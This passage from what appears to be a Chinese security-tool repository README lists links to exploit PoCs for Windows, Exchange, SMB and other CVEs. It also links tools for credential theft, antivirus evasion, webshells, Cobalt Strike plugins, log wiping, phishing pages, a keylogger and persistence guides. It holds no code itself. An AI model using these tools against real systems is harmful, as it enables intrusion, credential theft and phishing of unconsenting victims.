[CVE-2019-0708-python版](./BlueKeep/bluekeep-CVE-2019-0708-python) - [MS17-010-微软永恒之蓝漏洞](https://github.com/Mr-xn/MS17-010) - [macOS-Kernel-Exploit](./macOS-Kernel-Exploit) - [CVE-2019-1388 UAC提权 (nt authority\system)](https://github.com/jas502n/CVE-2019-1388) - [CVE-2019-1405和CVE-2019-1322:通过组合漏洞进行权限提升 Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation](https://github.com/apt69/COMahawk) - [CVE-2019-11708](https://github.com/0vercl0k/CVE-2019-11708) - [Telegram(macOS v4.9.155353) 代码执行漏洞](https://github.com/Metnew/telegram-links-nsworkspace-open) - [Remote Desktop Gateway RCE bugs CVE-2020-0609 & CVE-2020-0610](https://www.kryptoslogic.com/blog/2020/01/rdp-to-rce-when-fragmentation-goes-wrong/) - [Microsoft SharePoint - Deserialization Remote Code Execution](https://github.com/Voulnet/desharialize/blob/master/desharialize.py) - [CVE-2020-0728-Windows Modules Installer Service 信息泄露漏洞](https://github.com/irsl/CVE-2020-0728/) - [CVE-2020-0618: 微软 SQL Server Reporting Services远程代码执行(RCE)漏洞](https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/)|[GitHub验证POC(其实前文的分析文章也有)](https://github.com/euphrat1ca/CVE-2020-0618) - [CVE-2020-0767Microsoft ChakraCore脚本引擎【Edge浏览器中的一个开源的ChakraJavaScript脚本引擎的核心部分】安全漏洞](https://github.com/phoenhex/files/blob/master/pocs/cve-2020-0767.js) - [CVE-2020-0688:微软EXCHANGE服务的远程代码执行漏洞](https://github.com/random-robbie/cve-2020-0688)|[CVE-2020-0688_EXP---另一个漏洞检测利用脚本](https://github.com/Yt1g3r/CVE-2020-0688_EXP)|[又一个cve-2020-0688利用脚本](https://github.com/Ridter/cve-2020-0688)|[Exploit and detect tools for CVE-2020-0688](https://github.com/zcgonvh/CVE-2020-0688) - [CVE-2020-0674: Internet Explorer远程代码执行漏洞检测](https://github.com/binaryfigments/CVE-2020-0674) - [CVE-2020-8794: OpenSMTPD 远程命令执行漏洞](./CVE-2020-8794-OpenSMTPD%20远程命令执行漏洞.md) - [Linux平台-CVE-2020-8597: PPPD 远程代码执行漏洞](https://github.com/marcinguy/CVE-2020-8597) - [Windows-CVE-2020-0796:疑似微软SMBv3协议“蠕虫级”漏洞](https://cert.360.cn/warning/detail?id=04f6a686db24fcfa478498f55f3b79ef)|[相关讨论](https://linustechtips.com/main/topic/1163724-smbv3-remote-code-execution-cve-2020-0796/)|[CVE-2020–0796检测与修复](CVE-2020-0796检测与修复.md)|[又一个CVE-2020-0796的检测工具-可导致目标系统崩溃重启](https://github.com/eerykitty/CVE-2020-0796-PoC) - [SMBGhost_RCE_PoC(CVE-2020-0796)](https://github.com/chompie1337/SMBGhost_RCE_PoC) - [WinRAR 代码执行漏洞 (CVE-2018-20250)-POC](https://github.com/Ridter/acefile)|[相关文章](https://research.checkpoint.com/2019/extracting-code-execution-from-winrar/)|[全网筛查 WinRAR 代码执行漏洞 (CVE-2018-20250)](https://xlab.tencent.com/cn/2019/02/22/investigating-winrar-code-execution-vulnerability-cve-2018-20250-at-internet-scale/) - [windows10相关漏洞EXP&POC](https://github.com/nu11secur1ty/Windows10Exploits) - [shiro rce 反序列 命令执行 一键工具](https://github.com/wyzxxz/shiro_rce) - [CVE-2019-1458-Win32k中的特权提升漏洞【shell可用-Windows提取】](https://github.com/unamer/CVE-2019-1458) - [CVE-2019-1253-Windows权限提升漏洞-AppXSvc任意文件安全描述符覆盖EoP的另一种poc](https://github.com/sgabe/CVE-2019-1253)|[CVE-2019-1253](https://github.com/padovah4ck/CVE-2019-1253) - [BypassAV【免杀】Cobalt Strike插件,用于快速生成免杀的可执行文件](https://github.com/hack2fun/BypassAV) - [CVE-2020-0674:Internet Explorer UAF 漏洞exp【在64位的win7测试了IE 8, 9, 10, and 11】](https://github.com/maxpl0it/CVE-2020-0674-Exploit) - [SMBGhost_AutomateExploitation-SMBGhost (CVE-2020-0796) Automate Exploitation and Detection](https://github.com/Barriuso/SMBGhost_AutomateExploitation) - [MS Windows OLE 远程代码执行漏洞(CVE-2020-1281)](https://github.com/guhe120/Windows-EoP/tree/master/CVE-2020-1281) - [CVE-2020-1350-Windows的DNS服务器RCE检测的powershell脚本](https://github.com/T13nn3s/CVE-2020-1350)|[CVE-2020-1350-DoS](https://github.com/maxpl0it/CVE-2020-1350-DoS) - [CVE-2020-1362-Microsoft Windows WalletService权限提升漏洞](https://github.com/Q4n/CVE-2020-1362) ## <span id="head7"> tools-小工具集合</span> - [java环境下任意文件下载情况自动化读取源码的小工具](https://github.com/Artemis1029/Java_xmlhack) - [Linux SSH登录日志清除/伪造](./tools/ssh) - [python2的socks代理](./tools/s5.py) - [dede_burp_admin_path-dedecms后台路径爆破(Windows环境)](./tools/dede_burp_admin_path.md) - [PHP 7.1-7.3 disable_functions bypass](./tools/PHP%207.1-7.3%20disable_functions%20bypass.md) - [一个各种方式突破Disable_functions达到命令执行的shell](https://github.com/l3m0n/Bypass_Disable_functions_Shell) - [【PHP】bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD) - [另一个bypass PHP的disable_functions](https://github.com/mm0r1/exploits) - [cmd下查询3389远程桌面端口](./tools/cmd下查询3389远程桌面端口.md) - [伪装成企业微信名片的钓鱼代码](./tools/伪装成企业微信名片的钓鱼代码.txt) - [vbulletin5-rce利用工具(批量检测/getshell)](https://github.com/theLSA/vbulletin5-rce)/[保存了一份源码:vbulletin5-rce.py](./tools/vbulletin5-rce.py) - [CVE-2017-12615](./tools/CVE-2017-12615.py) - [通过Shodan和favicon icon发现真实IP地址](https://github.com/pielco11/fav-up) - [Cobalt_Strike扩展插件](./tools/Cobalt_Strike扩展插件.md) - [Windows命令行cmd的空格替换](./tools/Windows命令行cmd的空格替换.md) - [绕过disable_function汇总](./tools/绕过disable_function汇总.md) - [WAF Bypass](https://chybeta.gitbooks.io/waf-bypass/content/) - [命令注入总结](./tools/命令注入总结.md) - [隐藏wifi-ssid获取 · theKingOfNight's Blog](./books/隐藏wifi-ssid获取%20·%20theKingOfNight's%20Blog.pdf) - [crt.sh证书/域名收集](./tools/crt.sh证书收集.py) - [TP漏洞集合利用工具py3版本-来自奇安信大佬Lucifer1993](https://github.com/Mr-xn/TPscan) - [Python2编写的struts2漏洞全版本检测和利用工具-来自奇安信大佬Lucifer1993](https://github.com/Mr-xn/struts-scan) - [sqlmap_bypass_D盾_tamper](./tools/sqlmap_bypass_D盾_tamper.py) - [sqlmap_bypass_安全狗_tamper](./tools/sqlmap_bypass_安全狗_tamper.py) - [sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper](./tools/sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper.py) - [sqlmap_bypass_云锁_tamper](./tools/sqlmap_bypass_云锁_tamper.py) - [masscan+nmap扫描脚本](./tools/masscan%2Bnmap.py) - [PHP解密扩展](https://github.com/Albert-Zhan/php-decrypt) - [linux信息收集/应急响应/常见后门检测脚本](https://github.com/al0ne/LinuxCheck) - [RdpThief-从远程桌面客户端提取明文凭据辅助工具](https://github.com/0x09AL/RdpThief) - [使用powershell或CMD直接运行命令反弹shell](https://github.com/ZHacker13/ReverseTCPShell) - [FTP/SSH/SNMP/MSSQL/MYSQL/PostGreSQL/REDIS/ElasticSearch/MONGODB弱口令检测](https://github.com/netxfly/x-crack) - [GitHack-.git泄露利用脚本](https://github.com/lijiejie/GitHack) - [GitHacker---比GitHack更好用的git泄露利用脚本](https://github.com/WangYihang/GitHacker) - [SVN源代码泄露全版本Dump源码](https://github.com/admintony/svnExploit) - [多进程批量网站备份文件扫描](https://github.com/sry309/ihoneyBakFileScan) - [Empire](https://github.com/BC-SECURITY/Empire/)|相关文章:[后渗透测试神器Empire详解](https://mp.weixin.qq.com/s/xCtkoIwVomx5f8hVSoGKpA) - [FOFA Pro view 是一款FOFA Pro 资产展示浏览器插件,目前兼容 Chrome、Firefox、Opera](https://github.com/0nise/fofa_view) - [Zoomeye Tools-一款利用Zoomeye 获取有关当前网页IP地址的各种信息(需要登录)](https://chrome.google.com/webstore/detail/zoomeye-tools/bdoaeiibkccgkbjbmmmoemghacnkbklj) - [360 0Kee-Team 的 crawlergo动态爬虫 结合 长亭XRAY扫描器的被动扫描功能](https://github.com/timwhitez/crawlergo_x_XRAY) - [内网神器Xerosploit-娱乐性质(端口扫描|DoS攻击|HTML代码注入|JavaScript代码注入|下载拦截和替换|嗅探攻击|DNS欺骗|图片替换|Web页面篡改|Drifnet)](https://github.com/LionSec/xerosploit) - [一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo](https://github.com/c0ny1/xxe-lab) - [内网常见渗透工具包](https://github.com/yuxiaokui/Intranet-Penetration) - [从内存中加载 SHELLCODE bypass AV查杀](https://github.com/brimstone/go-shellcode)|[twitter示例](https://twitter.com/jas502n/status/1213847002947051521) - [流量转发工具-pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具](https://github.com/esrrhs/pingtunnel) - [内网渗透-创建Windows用户(当net net1 等常见命令被过滤时,一个文件执行直接添加一个管理员【需要shell具有管理员权限l】](https://github.com/newsoft/adduser)|[adduser使用方法](./adduser添加用户.md) - [pypykatz-通过python3实现完整的Mimikatz功能(python3.6+)](https://github.com/skelsec/pypykatz) - [【windows】Bypassing AV via in-memory PE execution-通过在内存中加载多次XOR后的payload来bypass杀软](https://blog.dylan.codes/bypassing-av-via/)|[作者自建gitlab地址](https://git.dylan.codes/batman/darkarmour) - [wafw00f-帮助你快速识别web应用是否使用何种WAF(扫描之前很有用)](https://github.com/EnableSecurity/wafw00f) - [Linux提取其他用户密码的工具(需要root权限)](https://github.com/huntergregal/mimipenguin) - [apache2_BackdoorMod-apache后门模块](https://github.com/VladRico/apache2_BackdoorMod) - [对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)](https://github.com/uknowsec/SharpDecryptPwd) - [一个简单探测jboss漏洞的工具](https://github.com/GGyao/jbossScan) - [一款lcx在golang下的实现-适合内网代理流量到公网,比如阿里云的机器代理到你的公网机器](https://github.com/cw1997/NATBypass) - [Cobalt Strike Aggressor 插件包](https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts) - [Erebus-Cobalt Strike后渗透测试插件,包括了信息收集、权限获取、密码获取、痕迹清除等等常见的脚本插件](https://github.com/DeEpinGh0st/Erebus) - [IP/IP段资产扫描-->扫描开放端口识别运行服务部署网站-->自动化整理扫描结果-->输出可视化报表+整理结果](https://github.com/LangziFun/LangNetworkTopology3) - [A script to scan for unsecured Laravel .env files](https://github.com/tismayil/laravelN00b) - [Struts2漏洞扫描Golang版-【特点:单文件、全平台支持、可在webshell下使用】](https://github.com/x51/STS2G) - [Shiro<=1.2.4反序列化,一键检测工具](https://github.com/sv3nbeast/ShiroScan)|[Apache shiro <= 1.2.4 rememberMe 反序列化漏洞利用工具](https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE) - [完整weblogic 漏洞扫描工具修复版](https://github.com/0xn0ne/weblogicScanner) - [GitHub敏感信息泄露监控](https://github.com/FeeiCN/GSIL) - [Java安全相关的漏洞和技术demo](https://github.com/threedr3am/learnjavabug) - [在线扫描-网站基础信息获取|旁站|端口扫描|信息泄露](https://scan.top15.cn/web/) - [bayonet是一款src资产管理系统,从子域名、端口服务、漏洞、爬虫等一体化的资产管理系统](https://github.com/CTF-MissFeng/bayonet) - [内网渗透中常用的c#程序整合成cs脚本,直接内存加载](https://github.com/uknowsec/SharpToolsAggressor) - [【漏洞库】又一个各种漏洞poc、Exp的收集或编写](https://github.com/coffeehb/Some-PoC-oR-ExP) - [【内网代理】内网渗透代理转发利器reGeorg](https://github.com/sensepost/reGeorg)|**相关文章:**[配置reGeorg+Proxifier渗透内网](https://www.k0rz3n.com/2018/07/06/如何使用reGeorg+Proxifier渗透内网)|[reGeorg+Proxifier实现内网sock5代理](http://jean.ink/2018/04/26/reGeorg/)|[内网渗透之reGeorg+Proxifier](https://sky666sec.github.io/2017/12/16/内网渗透之reGeorg-Proxifier)|[reGeorg+Proxifier使用](https://xz.aliyun.com/t/228) - [【内网代理】Neo-reGeorg重构的reGeorg ](https://github.com/L-codes/Neo-reGeorg) - [【内网代理】Tunna-通过http隧道将TCP流量代理出来](https://github.com/SECFORCE/Tunna) - [【内网代理】proxy.php-单文件版的php代理](https://github.com/mcnemesis/proxy.php) - [【内网代理】pivotnacci-通过HTTP隧道将TCP流量代理出来或进去](https://github.com/blackarrowsec/pivotnacci) - [【内网代理】毒刺(pystinger)通过webshell实现**内网SOCK4代理**,**端口映射**.](https://github.com/FunnyWolf/pystinger)|[pystinger.zip-下载](./tools/pystinger.zip) - [【内网代理】php-proxy-app-一款代理访问网站的工具](https://github.com/Athlon1600/php-proxy-app) - [get_Team_Pass-获取目标机器上的teamviewerID和密码(你需要具有有效的目标机器账号密码且目标机器445端口可以被访问(开放445端口))](https://github.com/kr1shn4murt1/get_Team_Pass/) - [chromepass-获取chrome保存的账号密码/cookies-nirsoft出品在win10+chrome 80测试OK](./tools/chromepass/)|[SharpChrome-基于.NET 2.0的开源获取chrome保存过的账号密码/cookies/history](https://github.com/djhohnstein/SharpChrome)|[ChromePasswords-开源获取chrome密码/cookies工具](https://github.com/malcomvetter/ChromePasswords) - [java-jdwp远程调试利用](https://github.com/Lz1y/jdwp-shellifier)|相关文章:[jdwp远程调试与安全](https://qsli.github.io/2018/08/12/jdwp/) - [社会工程学密码生成器,是一个利用个人信息生成密码的工具](https://github.com/zgjx6/SocialEngineeringDictionaryGenerator) - [云业CMS(yunyecms)的多处SQL注入审计分析](./books/云业CMS(yunyecms)的多处SQL注入审计分析.pdf)|[原文地址](https://xz.aliyun.com/t/7302)|[官网下载地址](http://www.yunyecms.com/index.php?m=version&c=index&a=index)|[sqlmap_yunyecms_front_sqli_tamp.py](./tools/sqlmap_yunyecms_front_sqli_tamp.py) - [www.flash.cn 的钓鱼页,中文+英文](https://github.com/r00tSe7en/Fake-flash.cn) - [织梦dedecms全版本漏洞扫描](https://github.com/Mr-xn/dedecmscan) - [CVE、CMS、中间件漏洞检测利用合集 Since 2019-9-15](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection) - [Dirble -快速目录扫描和爬取工具【比dirsearch和dirb更快】](https://github.com/nccgroup/dirble) - [RedRabbit - Red Team PowerShell脚本](https://github.com/securethelogs/RedRabbit) - [Pentest Tools Framework - 渗透测试工具集-适用于Linux系统](https://github.com/pikpikcu/Pentest-Tools-Framework) - [白鹿社工字典生成器,灵活与易用兼顾。](https://github.com/HongLuDianXue/BaiLu-SED-Tool) - [NodeJsScan-一款转为Nodejs进行静态代码扫描开发的工具](https://github.com/ajinabraham/NodeJsScan) - [一款国人根据poison ivy重写的远控](https://github.com/killeven/Poison-Ivy-Reload) - [NoXss-可配合burpsuite批量检测XSS](https://github.com/lwzSoviet/NoXss) - [fofa 采集脚本](https://raw.githubusercontent.com/ggg4566/SomeTools/master/fofa_search.py) - [java web 压缩文件 安全 漏洞](https://github.com/jas502n/Java-Compressed-file-security) - [可以自定义规则的密码字典生成器,支持图形界面](https://github.com/bit4woo/passmaker) - [dump lass 工具(绕过/干掉卡巴斯基)](./books/dump%20lass%20工具.pdf)|[loader.zip下载](./tools/loader.zip) - [GO语言版本的mimikatz-编译后免杀](https://github.com/vyrus001/go-mimikatz) - [CVE-2019-0708-批量检测扫描工具](./tools/cve0708.rar) - [dump lsass的工具](https://github.com/outflanknl/Dumpert)|[又一个dump lsass的工具](https://github.com/7hmA3s/dump_lsass) - [Cobalt Strike插件 - RDP日志取证&清除](https://github.com/QAX-A-Team/EventLogMaster) - [xencrypt-一款利用powershell来加密并采用Gzip/DEFLATE来绕过杀软的工具](https://github.com/the-xentropy/xencrypt) - [SessionGopher-一款采用powershell来解密Windows机器上保存的session文件,例如: WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop,支持远程加载和本地加载使用](https://github.com/Arvanaghi/SessionGopher) - [CVE-2020-0796 Local Privilege Escalation POC-python版本](https://github.com/ZecOps/CVE-2020-0796-LPE-POC)|[CVE-2020-0796 Remote Code Execution POC](https://github.com/ZecOps/CVE-2020-0796-RCE-POC) - [Windows杀软在线对比辅助](https://github.com/r00tSe7en/get_AV) - [递归式寻找域名和api](https://github.com/p1g3/JSINFO-SCAN) - [mssqli-duet-用于mssql的sql注入脚本,使用RID爆破,从Active Directory环境中提取域用户](https://github.com/Keramas/mssqli-duet) - [【Android脱壳】之一键提取APP敏感信息](https://github.com/TheKingOfDuck/ApkAnalyser) - [Shiro系列漏洞检测GUI版本-ShiroExploit GUI版本](https://github.com/feihong-cs/ShiroExploit_GUI) - [通过phpinfo获取cookie突破httponly](./通过phpinfo获取cookie突破httponly.md) - [phpstudy RCE 利用工具 windows GUI版本](https://github.com/aimorc/phpstudyrce) - [WebAliveScan-根据端口快速扫描存活的WEB](https://github.com/broken5/WebAliveScan) - [扫描可写目录.aspx](./tools/扫描可写目录.aspx) - [PC客户端(C-S架构)渗透测试](https://github.com/theLSA/CS-checklist) - [wsltools-web扫描辅助python库](https://github.com/Symbo1/wsltools) - [struts2_check-用于识别目标网站是否采用Struts2框架开发的工具](https://github.com/coffeehb/struts2_check) - [sharpmimi.exe-免杀版mimikatz](./tools/sharpmimi.exe) - [thinkPHP代码执行批量检测工具](https://github.com/admintony/thinkPHPBatchPoc) - [pypykatz-用纯Python实现的Mimikatz](https://github.com/skelsec/pypykatz) - [Flux-Keylogger-具有Web面板的现代Javascript键盘记录器](https://github.com/LimerBoy/Flux-Keylogger) - [JSINFO-SCAN-递归式寻找域名和api](https://github.com/p1g3/JSINFO-SCAN) - [FrameScan-GUI 一款python3和Pyqt编写的具有图形化界面的cms漏洞检测框架](https://github.com/qianxiao996/FrameScan-GUI) - [SRC资产信息聚合网站](https://github.com/cckuailong/InformationGather) - [Spring Boot Actuator未授权访问【XXE、RCE】单/多目标检测](https://github.com/rabbitmask/SB-Actuator) - [JNDI 注入利用工具【Fastjson、Jackson 等相关漏洞】](https://github.com/JosephTribbianni/JNDI) - [各种反弹shell的语句集合页面](https://krober.biz/misc/reverse_shell.php) - [解密weblogic AES或DES加密方法](https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi) - [使用 sshLooterC 抓取 SSH 密码](https://github.com/mthbernardes/sshLooterC)|[相关文章](https://www.ch1ng.com/blog/208.html)|[本地版本](./books/使用sshLooterC抓取SSH密码.pdf) - [redis-rogue-server-Redis 4.x/5.x RCE](https://github.com/AdministratorGithub/redis-rogue-server) - [ew-内网穿透(跨平台)](https://github.com/idlefire/ew) - [xray-weblisten-ui-一款基于GO语言写的Xray 被动扫描管理](https://github.com/virink/xray-weblisten-ui) - [SQLEXP-SQL 注入利用工具,存在waf的情况下自定义编写tamper脚本 dump数据](https://github.com/ggg4566/SQLEXP) - [SRC资产在线管理系统 - Shots](https://github.com/broken5/Shots) - [luject:可以将动态库静态注入到指定应用程序包的工具,目前支持Android/iPhonsOS/Windows/macOS/Linux](https://github.com/lanoox/luject)|[相关文章](https://tboox.org/cn/2020/04/26/luject/) - [CursedChrome:Chrome扩展植入程序,可将受害Chrome浏览器转变为功能齐全的HTTP代理,使你能够以受害人身份浏览网站](https://github.com/mandatoryprogrammer/CursedChrome) - [pivotnacci:通过HTTP隧道进行Socks连接](https://github.com/blackarrowsec/pivotnacci) - [PHPFuck-一款适用于php7以上版本的代码混淆](https://github.com/splitline/PHPFuck)|[[PHPFuck在线版本](https://splitline.github.io/PHPFuck/) - [冰蝎 bypass open_basedir 的马](./tools/冰蝎bypass_open_basedir_shell.md) - [goproxy heroku 一键部署套装,把heroku变为免费的http(s)\socks5代理](https://github.com/snail007/goproxy-heroku) - [自己收集整理的端口、子域、账号密码、其他杂七杂八字典,用于自己使用](https://github.com/cwkiller/Pentest_Dic) - [xFTP6密码解密](./tools/xFTP6密码解密.md) - [Mars-战神TideSec出品的WDScanner的重写一款综合的漏洞扫描,资产发现/变更,域名监控/子域名挖掘,Awvs扫描,POC检测,web指纹探测、端口指纹探测、CDN探测、操作系统指纹探测、泛解析探测、WAF探测、敏感信息检测等等工具](https://github.com/TideSec/Mars) - [Shellcode Compiler:用于生成Windows 和 Linux平台的shellcode工具](https://github.com/NytroRST/ShellcodeCompiler) - [BadDNS 是一款使用 Rust 开发的使用公共 DNS 服务器进行多层子域名探测的极速工具](https://github.com/joinsec/BadDNS) - [【Android脱壳】XServer是一个用于对方法进行分析的Xposed插件](https://github.com/monkeylord/XServer)|[相关文章:Xposed+XServer无需脱壳抓取加密包](https://xz.aliyun.com/t/7669)|[使用xserver对某应用进行不脱壳抓加密包](https://blog.csdn.net/nini_boom/article/details/104400619) - [masscan_to_nmap-基于masscan和nmap的快速端口扫描和指纹识别工具](https://github.com/7dog7/masscan_to_nmap) - [Evilreg -使用Windows注册表文件的反向Shell (.Reg)](https://github.com/thelinuxchoice/evilreg) - [Shecodject工具使用python注入shellcode bypass 火絨,360,windows defender](https://github.com/TaroballzChen/Shecodject) - [Malleable-C2-Profiles-Cobalt Strike的C2隐藏配置文件相关](https://github.com/xx0hcd/Malleable-C2-Profiles)|[渗透利器Cobalt Strike - 第2篇 APT级的全面免杀与企业纵深防御体系的对抗](https://xz.aliyun.com/t/4191) - [AutoRemove-自动卸载360](https://github.com/DeEpinGh0st/AutoRemove) - [ligolo:用于渗透时反向隧道连接工具](https://github.com/sysdream/ligolo) - [RMIScout: Java RMI爆破工具](https://github.com/BishopFox/rmiscout) - [【Android脱壳】FRIDA-DEXDump-【使用Frida来进行Android脱壳】](https://github.com/hluwa/FRIDA-DEXDump) - [Donut-Shellcode生成工具](https://github.com/TheWover/donut) - [JSP-Webshells集合【2020最新bypass某云检测可用】](https://github.com/threedr3am/JSP-Webshells) - [one-scan-多合一网站指纹扫描器,轻松获取网站的 IP / DNS 服务商 / 子域名 / HTTPS 证书 / WHOIS / 开发框架 / WAF 等信息](https://github.com/Jackeriss/one-scan) - [ServerScan一款使用Golang开发的高并发网络扫描、服务探测工具。](https://github.com/Adminisme/ServerScan) - [域渗透-Windows hash dump之secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)|[相关文章](https://github.com/PythonPig/PythonPig.github.io/blob/730be0e55603df96f45680c25c56ba8148052d2c/_posts/2019-07-16-Windows%20hash%20dump%E4%B9%8Bsecretsdump.md) - [WindowsVulnScan:基于主机的漏洞扫描工【类似windows-exp-suggester】](https://github.com/chroblert/WindowsVulnScan) - [基于实战沉淀下的各种弱口令字典](https://github.com/klionsec/SuperWordlist) - [SpoofWeb:一键部署HTTPS钓鱼站](https://github.com/klionsec/SpoofWeb) - [VpsEnvInstall:一键部署VPS渗透环境](https://github.com/klionsec/VpsEnvInstall) - [tangalanga:Zoom会议扫描工具](https://github.com/elcuervo/tangalanga) - [碎遮SZhe_Scan Web漏洞扫描器,基于python Flask框架,对输入的域名/IP进行全面的信息搜集,漏洞扫描,可自主添加POC](https://github.com/Cl0udG0d/SZhe_Scan) - [Taie-RedTeam-OS-泰阿安全实验室-基于XUbuntu私人订制的红蓝对抗渗透操作系统](https://github.com/taielab/Taie-RedTeam-OS) - [naiveproxy-一款用C语言编写类似于trojan的代理工具](https://github.com/klzgrad/naiveproxy) - [BrowserGhost-一个抓取浏览器密码的工具,后续会添加更多功能](https://github.com/QAX-A-Team/BrowserGhost) - [GatherInfo-渗透测试信息搜集/内网渗透信息搜集](https://github.com/Paper-Pen/GatherInfo) - [EvilPDF:一款把恶意文件嵌入在 PDF 中的工具](https://github.com/thelinuxchoice/evilpdf) - [SatanSword-红队综合渗透框架,支持web指纹识别、漏洞PoC检测、批量web信息和端口信息查询、路径扫描、批量JS查找子域名、使用google headless、协程支持、完整的日志回溯](https://github.com/Lucifer1993/SatanSword) - [Get-WeChat-DB-获取目标机器的微信数据库和密钥](https://github.com/A2kaid/Get-WeChat-DB) - [ThinkphpRCE-支持代理IP池的批量检测Thinkphp漏洞或者日志泄露的py3脚本](https://github.com/sukabuliet/ThinkphpRCE) - [fakelogonscreen-伪造(Windows)系统登录页面,截获密码](https://github.com/bitsadmin/fakelogonscreen) - [WMIHACKER-仅135端口免杀横向移动](https://github.com/360-Linton-Lab/WMIHACKER)|[使用方法以及介绍](./books/WMIHACKER(仅135端口免杀横向移动).pdf)|[横向移动工具WMIHACKER](./books/横向移动工具WMIHACKER.pdf)|[原文链接](https://www.anquanke.com/post/id/209665) - [cloud-ranges-部分公有云IP地址范围](https://github.com/pry0cc/cloud-ranges) - [sqltools_ch-sqltools2.0汉化增强版](./ttools/sqltools_ch.rar) - [railgun-poc_1.0.1.7-多功能端口扫描/爆破/漏洞利用/编码转换等](./tools/railgun-poc_1.0.1.7.zip) - [dede_funcookie.php-DEDECMS伪随机漏洞分析 (三) 碰撞点(爆破,伪造管理员cookie登陆后台getshell](./tools/dede_funcookie.php) - [WAScan-一款功能强大的Web应用程序扫描工具【基于python开发的命令行扫描器】](https://github.com/m4ll0k/WAScan) - [Peinject_dll-CS插件之另类持久化方法-PE感染](https://github.com/m0ngo0se/Peinject_dll) - [MSSQL_BackDoor-摆脱MSSMS和 Navicat 调用执行 sp_cmdExec](https://github.com/evi1ox/MSSQL_BackDoor) - [xShock-一款针对Shellshock漏洞的利用工具【例如低版本cgi的默认配置页面进行利用】](https://github.com/capture0x/xShock/) - [tini-tools-针对红蓝对抗各个场景使用的小工具-【主要是Java写的工具】【目前有phpstudy.jar和域名转IP工具.jar】](https://github.com/sunird/tini-tools) - [code6-码小六是一款 GitHub 代码泄露监控系统,通过定期扫描 GitHub 发现代码泄露行为](https://github.com/4x99/code6) - [taowu-cobalt-strike-适用于cobalt strike3.x与cobalt strike4.x的插件](https://github.com/pandasec888/taowu-cobalt-strike) - [Weblogic-scan-Weblogic 漏洞批量扫描工具](./tools/Weblogic-scan) - [revp:反向HTTP代理,支持Linux,Windows和macOS](https://github.com/jafarlihi/revp) ## <span id="head8"> 文章/书籍/教程相关</span> - [windwos权限维持系列12篇PDF](./books/Window权限维持) - [Linux 权限维持之进程注入(需要关闭ptrace)](./books/Linux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E4%B9%8B%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5%20%C2%AB%20%E5%80%BE%E6%97%8B%E7%9A%84%E5%8D%9A%E5%AE%A2.pdf) | [在不使用ptrace的情况下,将共享库(即任意代码)注入实时Linux进程中。(不需要关闭ptrace)](https://github.com/DavidBuchanan314/dlinject) - [44139-mysql-udf-exploitation](./books/44139-mysql-udf-exploitation.pdf) - [emlog CMS的代码审计_越权到后台getshell](./books/emlog%20CMS的代码审计_越权到后台getshell%20-%20先知社区.pdf) - [PHPOK 5.3 最新版前台注入](./books/PHPOK%205.3%20最新版前台注入%20-%20先知社区.pdf) - [PHPOK 5.3 最新版前台无限制注入(二)](./books/PHPOK%205.3%20最新版前台无限制注入(二)%20-%20先知社区.pdf) - [Thinkphp5 RCE总结](./books/Thinkphp5%20RCE总结%20_%20ChaBug安全.pdf) - [rConfig v3.9.2 RCE漏洞分析](./books/rConfig%20v3.9.2%20RCE漏洞分析.pdf) - [weiphp5.0 cms审计之exp表达式注入](./books/weiphp5.0%20cms审计之exp表达式注入%20-%20先知社区.pdf) - [zzzphp1.7.4&1.7.5到处都是sql注入](./books/zzzphp1.7.4%261.7.5到处都是sql注入.pdf) - [FCKeditor文件上传漏洞及利用-File-Upload-Vulnerability-in-FCKEditor](./books/FCKeditor文件上传漏洞及利用-File-Upload-Vulnerability-in-FCKEditor.pdf) - [zzcms 2019 版本代码审计](./books/zzcms%202019%E7%89%88%E6%9C%AC%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%20-%20%E5%85%88%E7%9F%A5%E7%A4%BE%E5%8C%BA.pdf) - [利用SQLmap 结合 OOB 技术实现音速盲注](./books/手把手带你利用SQLmap结合OOB技术实现音速盲注.pdf) - [特权提升技术总结之Windows文件服务内核篇(主要是在webshell命令行执行各种命令搜集信息)](https://xz.aliyun.com/t/7261)|[(项目留存PDF版本)](./books/特权提升技术总结之Windows文件服务内核篇%20-%20先知社区.pdf) - [WellCMS 2.0 Beta3 后台任意文件上传](./books/WellCMS%202.0%20Beta3%20后台任意文件上传.pdf) - [国外详细的CTF分析总结文章(2014-2017年)](https://github.com/ctfs) - [这是一篇“不一样”的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码](./books/这是一篇"不一样"的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码-%20奇安信A-TEAM技术博客.pdf)|[原文地址](https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/) - [表达式注入.pdf](./books/表达式注入.pdf) - [WordPress ThemeREX Addons 插件安全漏洞深度分析](./books/WordPress%20ThemeREX%20Addons%20插件安全漏洞深度分析.pdf) - [通达OA文件包含&文件上传漏洞分析](./books/通达OA文件包含&文件上传漏洞分析.pdf) - [高级SQL注入:混淆和绕过](./books/高级SQL注入:混淆和绕过.pdf) - [权限维持及后门持久化技巧总结](./books/权限维持及后门持久化技巧总结.pdf) - [Windows常见的持久化后门汇总](./books/Windows常见的持久化后门汇总.pdf) - [Linux常见的持久化后门汇总](./books/Linux常见的持久化后门汇总.pdf) - 